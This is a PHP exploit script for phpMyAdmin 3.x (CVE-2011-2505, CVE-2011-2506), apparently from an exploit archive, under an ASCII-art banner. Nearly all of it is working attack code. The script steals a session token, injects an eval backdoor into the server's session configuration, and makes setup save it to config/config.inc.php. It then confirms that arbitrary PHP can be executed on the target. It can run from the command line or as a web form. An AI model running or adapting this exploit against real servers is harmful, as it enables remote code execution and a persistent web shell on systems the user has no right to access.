phpMyAdmin 3.x Swekey Remote Code Injection

`<?php /*  
# Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit  
# Date: 2011-07-09  
# Author: Mango of ha.xxor.se  
# Version: phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1  
# CVE : CVE-2011-2505, CVE-2011-2506  
# Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt  
# Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html  
*/  
echo php_sapi_name()!=='cli'?'<pre>':'';?>  
.  
, )\ .  
. ,/) , / ) , )\  
)\( /)/( (__( /( / ) __ __ ________ __ __  
/ \ ( )| |) \ / | |\ /| | | | | | | | (__)  
( ______ / | |_____( ______ | | \/ | | __ __ | |__| | ___| | __ ___________ __ __ _____  
\| | \ \ | | | |)| | \ \ | | | | | | | | | | | | / / | | | | | | | | | | | | | |  
| |_/__/ |__| |__| | |_/__/ |__| |__| |__|__| | |__| [][]|[]__[]|[][]|_[] |_[][]|_[] [][][]__| |__|  
==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============   
phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1 [][] [] [][] [] [] [] [] []  
Remote Code Injection [] [][] [] [] [] [] [] []  
http://ha.xxor.se [][] [] [] [] [][] [][] [] []  
_ _ ___ __ ____ __ ___ ___   
| |-| || _ |\ /\ /| _ || )   
|_|-|_||_|_|/_._\/_._\|___||_|_\   
___ ___ ___ _ _ ___ ___ __ __   
( < | [_ / /| || || )(_)| |\ | /  
>__)|_[_ \__\|____||_|_\|_| |_| |_|  
  
Use responsibly.  
  
<?php echo php_sapi_name()!=='cli'?'</pre>':'';  
  
if(php_sapi_name()==='cli'){  
if(!isset($argv[1])){  
output(" Usage\n ".$argv[0]." http://example.com/phpMyAdmin-3.3.9.2");  
killme();  
}  
$pmaurl = $argv[1];  
}else{  
$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';  
}  
$code = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';  
$cookie = null;  
$token = null;  
if(!function_exists('curl_init')){  
output('[!] Fatal error. Need cURL!');  
killme();  
}  
$ch = curl_init();  
$debug = 0;  
if(php_sapi_name()!=='cli'){  
?>  
<form method=post>  
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/phpMyAdmin-3.3.9.2<br/>  
<input name=submit type=submit value=♥>  
</form>  
<pre>  
<?php  
if(!isset($_REQUEST['submit']))killme(true);  
}  
  
output("[i] Running...");  
  
// Start a session and get a token  
curl_setopt_array($ch, array(  
CURLOPT_URL => $pmaurl.'/setup/index.php',  
CURLOPT_HEADER => 1,  
CURLOPT_RETURNTRANSFER => 1,  
CURLOPT_TIMEOUT => 4,  
CURLOPT_SSL_VERIFYPEER => false,  
CURLOPT_SSL_VERIFYHOST => false  
));  
output("[*] Contacting server to retrive session cookie and token.");  
  
$result = curl_exec($ch);  
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){  
output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");  
killme();  
}  
if(!$result){  
output("[!] cURL error:".curl_error($ch));  
killme();  
}  
if(false !== strpos($result, 'Cannot load or save configuration')){  
output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");  
killme();  
}  
  
// Extract cookie  
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);  
$cookie = $matches[1];  
output("[i] Cookie:".$cookie);  
// Extract token  
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);  
$token = $matches[2];  
output("[i] Token:".$token);  
  
// Poison _SESSION variable  
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);  
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);  
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");  
if(!$result = curl_exec($ch)){  
output("[!] cURL error:".curl_error($ch));  
killme();  
}  
  
//echo htmlspecialchars($result,ENT_QUOTES);  
  
// Save file  
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);  
output("[*] Contacting server to make it save the injected code to a file.");  
if(!$result = curl_exec($ch)){  
output("[!] cURL error:".curl_error($ch));  
killme();  
}  
  
//echo htmlspecialchars($result,ENT_QUOTES);  
  
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');  
curl_setopt($ch, CURLOPT_POST, 0);  
output("[*] Contacting server to test if the injected code executes.");  
if(!$result = curl_exec($ch)){  
output("[!] cURL error:".curl_error($ch));  
killme();  
}  
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){  
output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");  
output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");  
}else{  
output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");  
}  
  
  
curl_close($ch);  
  
function output($msg){  
echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";  
flush();  
}  
  
function killme(){  
output("[*] Exiting...");  
echo php_sapi_name()!=='cli'?'<pre>':'';  
die();  
}  
  
echo php_sapi_name()!=='cli'?'<pre>':'';?>  
  
  
`